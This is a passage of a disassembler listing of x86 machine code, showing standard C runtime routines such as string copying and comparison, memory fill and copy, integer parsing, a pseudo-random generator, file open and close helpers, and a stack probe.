sub_4171E1 proc near ; CODE XREF: sub_4170B3+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_4171FD: ; CODE XREF: sub_4171E1+3Aj cmp [eax], bl jz short loc_41721D mov cl, [ecx] cmp cl, 3Fh jz short loc_417212 cmp cl, 2Ah jnz short loc_41721D cmp cl, 3Fh jnz short loc_417215 loc_417212: ; CODE XREF: sub_4171E1+25j inc eax mov [edi], eax loc_417215: ; CODE XREF: sub_4171E1+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_4171FD ; --------------------------------------------------------------------------- loc_41721D: ; CODE XREF: sub_4171E1+1Ej ; sub_4171E1+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_417228 inc dword ptr [esi] jmp short loc_41721D ; --------------------------------------------------------------------------- loc_417228: ; CODE XREF: sub_4171E1+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_417249 mov edx, [esi] cmp [edx], bl jz short loc_41723A xor eax, eax jmp short loc_4172A9 ; --------------------------------------------------------------------------- loc_41723A: ; CODE XREF: sub_4171E1+53j cmp cl, bl jnz short loc_417249 mov ecx, [esi] cmp [ecx], bl jnz short loc_417249 push 1 pop eax jmp short loc_4172A9 ; --------------------------------------------------------------------------- loc_417249: ; CODE XREF: sub_4171E1+4Dj ; sub_4171E1+5Bj ... push eax push dword ptr [esi] call sub_4170B3 pop ecx test eax, eax pop ecx jnz short loc_417293 loc_417257: ; CODE XREF: sub_4171E1+B0j inc dword ptr [edi] mov eax, [edi] loc_41725B: ; CODE XREF: sub_4171E1+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_417273 cmp cl, 5Bh jz short loc_417273 cmp dl, bl jz short loc_417273 inc eax mov [edi], eax jmp short loc_41725B ; --------------------------------------------------------------------------- loc_417273: ; CODE XREF: sub_4171E1+82j ; sub_4171E1+87j ... mov eax, [edi] cmp [eax], bl jz short loc_41728A push eax push dword ptr [esi] call sub_4170B3 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_41728F ; --------------------------------------------------------------------------- loc_41728A: ; CODE XREF: sub_4171E1+96j mov [ebp+var_4], ebx xor eax, eax loc_41728F: ; CODE XREF: sub_4171E1+A7j cmp eax, ebx jnz short loc_417257 loc_417293: ; CODE XREF: sub_4171E1+74j mov eax, [edi] cmp [eax], bl jnz short loc_4172A6 mov eax, [esi] cmp [eax], bl jnz short loc_4172A6 mov [ebp+var_4], 1 loc_4172A6: ; CODE XREF: sub_4171E1+B6j ; sub_4171E1+BCj mov eax, [ebp+var_4] loc_4172A9: ; CODE XREF: sub_4171E1+57j ; sub_4171E1+66j pop edi pop esi pop ebx leave retn sub_4171E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172AE proc near ; CODE XREF: sub_401000+64p ; sub_4010B5+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_4172EE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_4172FB ; --------------------------------------------------------------------------- loc_4172EE: ; CODE XREF: sub_4172AE+36j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_4172FB: ; CODE XREF: sub_4172AE+3Ej mov eax, esi pop esi leave retn sub_4172AE endp ; =============== S U B R O U T I N E ======================================= sub_417300 proc near ; CODE XREF: sub_401000+2Ep ; sub_401D82+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_439550, eax retn sub_417300 endp ; =============== S U B R O U T I N E ======================================= sub_41730A proc near ; CODE XREF: sub_4010B5+CBp ; sub_4010B5+13Fp ... mov eax, dword_439550 imul eax, 343FDh add eax, 269EC3h mov dword_439550, eax sar eax, 10h and eax, 7FFFh retn sub_41730A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417330 proc near ; CODE XREF: sub_4010B5+281p ; sub_40144A+180p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_417383 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_417377 neg ecx and ecx, 3 jz short loc_417359 sub edx, ecx loc_417353: ; CODE XREF: sub_417330+27j mov [edi], al inc edi dec ecx jnz short loc_417353 loc_417359: ; CODE XREF: sub_417330+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_417377 rep stosd test edx, edx jz short loc_41737D loc_417377: ; CODE XREF: sub_417330+18j ; sub_417330+3Fj ... mov [edi], al inc edi dec edx jnz short loc_417377 loc_41737D: ; CODE XREF: sub_417330+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417383: ; CODE XREF: sub_417330+Aj mov eax, [esp+arg_0] retn sub_417330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp ; sub_4010B5+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4173B0 cmp edi, eax jb loc_417528 loc_4173B0: ; CODE XREF: sub_417390+16j test edi, 3 jnz short loc_4173CC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- loc_4173CC: ; CODE XREF: sub_417390+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4173E4 and eax, 3 add ecx, eax jmp dword ptr loc_4173EC+4[eax*4] ; --------------------------------------------------------------------------- loc_4173E4: ; CODE XREF: sub_417390+46j jmp dword ptr loc_4174E8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4173EC: ; CODE XREF: sub_417390+31j ; sub_417390+8Ej ... jmp off_41746C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_417400 dd offset loc_41742C dd offset loc_417450 ; --------------------------------------------------------------------------- loc_417400: ; DATA XREF: sub_417390+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41742C: ; DATA XREF: sub_417390+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417450: ; DATA XREF: sub_417390+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4173EC rep movsd jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr dd offset loc_4174BC dd offset loc_4174B4 dd offset loc_4174AC dd offset loc_4174A4 dd offset loc_41749C dd offset loc_417494 dd offset loc_41748C ; --------------------------------------------------------------------------- loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_417494: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj ; DATA XREF: sub_417390:off_41746Co jmp off_4174D8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r ; sub_417390+92r ... dd offset loc_4174F0 dd offset loc_4174FC dd offset loc_417510 ; --------------------------------------------------------------------------- loc_4174E8: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4174F0: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4174FC: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_417510: ; CODE XREF: sub_417390+35j ; sub_417390+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417528: ; CODE XREF: sub_417390+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41755C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h loc_417550: ; CODE XREF: sub_417390+1B1j ; sub_417390+208j ... neg ecx jmp off_417620[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41755C: ; CODE XREF: sub_417390+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_417574 and eax, 3 sub ecx, eax jmp dword ptr loc_417574+4[eax*4] ; --------------------------------------------------------------------------- loc_417574: ; CODE XREF: sub_417390+1D6j ; DATA XREF: sub_417390+1DDr jmp off_417670[ecx*4] ; --------------------------------------------------------------------------- align 4 mov [ebp+arg_39], dh add [eax-2FFFBE8Bh], ch jnz short loc_4175C8 add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_417550 std rep movsd cld loc_4175C8: ; CODE XREF: sub_417390+1F5j jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_417550 std rep movsd cld jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_417624 dd offset loc_41762C dd offset loc_417634 dd offset loc_41763C dd offset loc_417644 dd offset loc_41764C dd offset loc_417654 off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r ; --------------------------------------------------------------------------- loc_417624: ; DATA XREF: sub_417390+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41762C: ; DATA XREF: sub_417390+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_417634: ; DATA XREF: sub_417390+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41763C: ; DATA XREF: sub_417390+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_417644: ; DATA XREF: sub_417390+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41764C: ; DATA XREF: sub_417390+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_417654: ; DATA XREF: sub_417390+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_417667: ; CODE XREF: sub_417390+1C2j ; DATA XREF: sub_417390:off_417620o jmp off_417670[edx*4] ; --------------------------------------------------------------------------- align 10h off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r ; sub_417390:loc_417574r ... dd offset loc_417688 dd offset loc_417698 dd offset loc_4176AC ; --------------------------------------------------------------------------- loc_417680: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417688: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_417698: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4176AC: ; CODE XREF: sub_417390+1B7j ; sub_417390:loc_417574j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_417390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp ; sub_4010B5+118p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41771C loc_4176E0: ; CODE XREF: sub_4176D0+3Cj ; sub_4176D0+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 shr eax, 10h cmp al, [ecx+2] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+3] jnz short loc_417714 add ecx, 4 add edx, 4 or ah, ah jnz short loc_4176E0 mov edi, edi loc_417710: ; CODE XREF: sub_4176D0+18j ; sub_4176D0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_417714: ; CODE XREF: sub_4176D0+14j ; sub_4176D0+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41771C: ; CODE XREF: sub_4176D0+Ej test edx, 1 jz short loc_417738 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_417714 inc ecx or al, al jz short loc_417710 test edx, 2 jz short loc_4176E0 loc_417738: ; CODE XREF: sub_4176D0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_417714 or al, al jz short loc_417710 cmp ah, [ecx+1] jnz short loc_417714 or ah, ah jz short loc_417710 add ecx, 2 jmp short loc_4176E0 sub_4176D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep ; sub_401A76+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_417779 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_417779: ; CODE XREF: sub_417760+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_417760 endp ; =============== S U B R O U T I N E ======================================= sub_417794 proc near ; CODE XREF: sub_41781F+4p ; sub_42094E+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41779C: ; CODE XREF: sub_417794+34j cmp dword_4397AC, 1 jle short loc_4177B4 movzx eax, byte ptr [edi] push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4177C3 ; --------------------------------------------------------------------------- loc_4177B4: ; CODE XREF: sub_417794+Fj movzx eax, byte ptr [edi] mov ecx, off_4395A0 mov al, [ecx+eax*2] and eax, 8 loc_4177C3: ; CODE XREF: sub_417794+1Ej test eax, eax jz short loc_4177CA inc edi jmp short loc_41779C ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_417794+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_4177DA cmp esi, 2Bh jnz short loc_4177DE loc_4177DA: ; CODE XREF: sub_417794+3Fj movzx esi, byte ptr [edi] inc edi loc_4177DE: ; CODE XREF: sub_417794+44j xor ebx, ebx loc_4177E0: ; CODE XREF: sub_417794+7Bj cmp dword_4397AC, 1 jle short loc_4177F5 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_417800 ; --------------------------------------------------------------------------- loc_4177F5: ; CODE XREF: sub_417794+53j mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_417800: ; CODE XREF: sub_417794+5Fj test eax, eax jz short loc_417811 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_4177E0 ; --------------------------------------------------------------------------- loc_417811: ; CODE XREF: sub_417794+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41781A neg eax loc_41781A: ; CODE XREF: sub_417794+82j pop edi pop esi pop ebp pop ebx retn sub_417794 endp ; =============== S U B R O U T I N E ======================================= sub_41781F proc near ; CODE XREF: sub_4013EC+12p ; sub_4013EC+1Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417794 pop ecx retn sub_41781F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41782A proc near ; CODE XREF: sub_40144A+318p ; sub_401D82+460p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_417869 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_417876 ; --------------------------------------------------------------------------- loc_417869: ; CODE XREF: sub_41782A+35j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_417876: ; CODE XREF: sub_41782A+3Dj mov eax, esi pop esi leave retn sub_41782A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417880 proc near ; CODE XREF: sub_401D82+2D8p ; sub_401D82+2F8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_4178FA mov dh, [ecx+1] test dh, dh jz short loc_4178E7 loc_417898: ; CODE XREF: sub_417880+52j ; sub_417880+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_4178BA test al, al jz short loc_4178B4 loc_4178A9: ; CODE XREF: sub_417880+32j mov al, [esi] inc esi loc_4178AC: ; CODE XREF: sub_417880+3Fj cmp al, dl jz short loc_4178BA test al, al jnz short loc_4178A9 loc_4178B4: ; CODE XREF: sub_417880+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_4178BA: ; CODE XREF: sub_417880+23j ; sub_417880+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_4178AC lea edi, [esi-1] loc_4178C4: ; CODE XREF: sub_417880+63j mov ah, [ecx+2] test ah, ah jz short loc_4178F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_417898 mov al, [ecx+3] test al, al jz short loc_4178F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_4178C4 jmp short loc_417898 ; --------------------------------------------------------------------------- loc_4178E7: ; CODE XREF: sub_417880+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_418F56 ; --------------------------------------------------------------------------- loc_4178F3: ; CODE XREF: sub_417880+49j ; sub_417880+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_4178FA: ; CODE XREF: sub_417880+Fj mov eax, edi pop esi pop ebx pop edi retn sub_417880 endp ; =============== S U B R O U T I N E ======================================= sub_417900 proc near ; CODE XREF: sub_4022C6+94p ; sub_405A58+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_417915 or eax, 0FFFFFFFFh jmp short loc_41794F ; --------------------------------------------------------------------------- loc_417915: ; CODE XREF: sub_417900+Ej test al, 83h jz short loc_41794D push esi call sub_41A7D0 push esi mov edi, eax call sub_41A76A push dword ptr [esi+10h] call sub_41A6B7 add esp, 0Ch test eax, eax jge short loc_41793B or edi, 0FFFFFFFFh jmp short loc_41794D ; --------------------------------------------------------------------------- loc_41793B: ; CODE XREF: sub_417900+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41794D push eax call sub_417C3B and dword ptr [esi+1Ch], 0 pop ecx loc_41794D: ; CODE XREF: sub_417900+17j ; sub_417900+39j ... mov eax, edi loc_41794F: ; CODE XREF: sub_417900+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_417900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep ; sub_40EE72+2B0Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_41A8A2 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_419E38 push [ebp+arg_0] mov edi, eax push esi call sub_41A92F add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_417956 endp ; =============== S U B R O U T I N E ======================================= sub_417988 proc near ; CODE XREF: sub_4179A8+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41AADC test eax, eax jnz short loc_417992 retn ; --------------------------------------------------------------------------- loc_417992: ; CODE XREF: sub_417988+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41A96C add esp, 10h retn sub_417988 endp ; =============== S U B R O U T I N E ======================================= sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p ; sub_405A58+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_417988 add esp, 0Ch retn sub_4179A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp ; sub_40A7D7+75p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_417A31 sub_4179C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p ; sub_4022C6+43p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_4179EC loc_4179DD: ; CODE XREF: sub_4179D0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_417A1F test ecx, 3 jnz short loc_4179DD loc_4179EC: ; CODE XREF: sub_4179D0+Bj ; sub_4179D0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_4179EC mov eax, [ecx-4] test al, al jz short loc_417A2E test ah, ah jz short loc_417A29 test eax, 0FF0000h jz short loc_417A24 test eax, 0FF000000h jz short loc_417A1F jmp short loc_4179EC ; --------------------------------------------------------------------------- loc_417A1F: ; CODE XREF: sub_4179D0+12j ; sub_4179D0+4Bj lea edi, [ecx-1] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A24: ; CODE XREF: sub_4179D0+44j lea edi, [ecx-2] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A29: ; CODE XREF: sub_4179D0+3Dj lea edi, [ecx-3] jmp short loc_417A31 ; --------------------------------------------------------------------------- loc_417A2E: ; CODE XREF: sub_4179D0+39j lea edi, [ecx-4] loc_417A31: ; CODE XREF: sub_4179C0+5j ; sub_4179D0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_417A56 loc_417A3D: ; CODE XREF: sub_4179D0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_417AA8 mov [edi], dl inc edi test ecx, 3 jnz short loc_417A3D jmp short loc_417A56 ; --------------------------------------------------------------------------- loc_417A51: ; CODE XREF: sub_4179D0+9Ej ; sub_4179D0+B8j mov [edi], edx add edi, 4 loc_417A56: ; CODE XREF: sub_4179D0+6Bj ; sub_4179D0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_417A51 test dl, dl jz short loc_417AA8 test dh, dh jz short loc_417A9F test edx, 0FF0000h jz short loc_417A92 test edx, 0FF000000h jz short loc_417A8A jmp short loc_417A51 ; --------------------------------------------------------------------------- loc_417A8A: ; CODE XREF: sub_4179D0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: sub_4179D0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_4179D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4179D0+72j ; sub_4179D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4179D0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417AD0 loc_417ABC: ; CODE XREF: sub_417AB0+19j mov al, [ecx] inc ecx test al, al jz short loc_417B03 test ecx, 3 jnz short loc_417ABC add eax, 0 loc_417AD0: ; CODE XREF: sub_417AB0+Aj ; sub_417AB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_417AD0 mov eax, [ecx-4] test al, al jz short loc_417B21 test ah, ah jz short loc_417B17 test eax, 0FF0000h jz short loc_417B0D test eax, 0FF000000h jz short loc_417B03 jmp short loc_417AD0 ; --------------------------------------------------------------------------- loc_417B03: ; CODE XREF: sub_417AB0+11j ; sub_417AB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B0D: ; CODE XREF: sub_417AB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_417AB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B21: ; CODE XREF: sub_417AB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B30 proc near ; CODE XREF: sub_402688+8p ; sub_402B84+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417B50 loc_417B3C: ; CODE XREF: sub_417B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_417B3C loc_417B50: ; CODE XREF: sub_417B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, 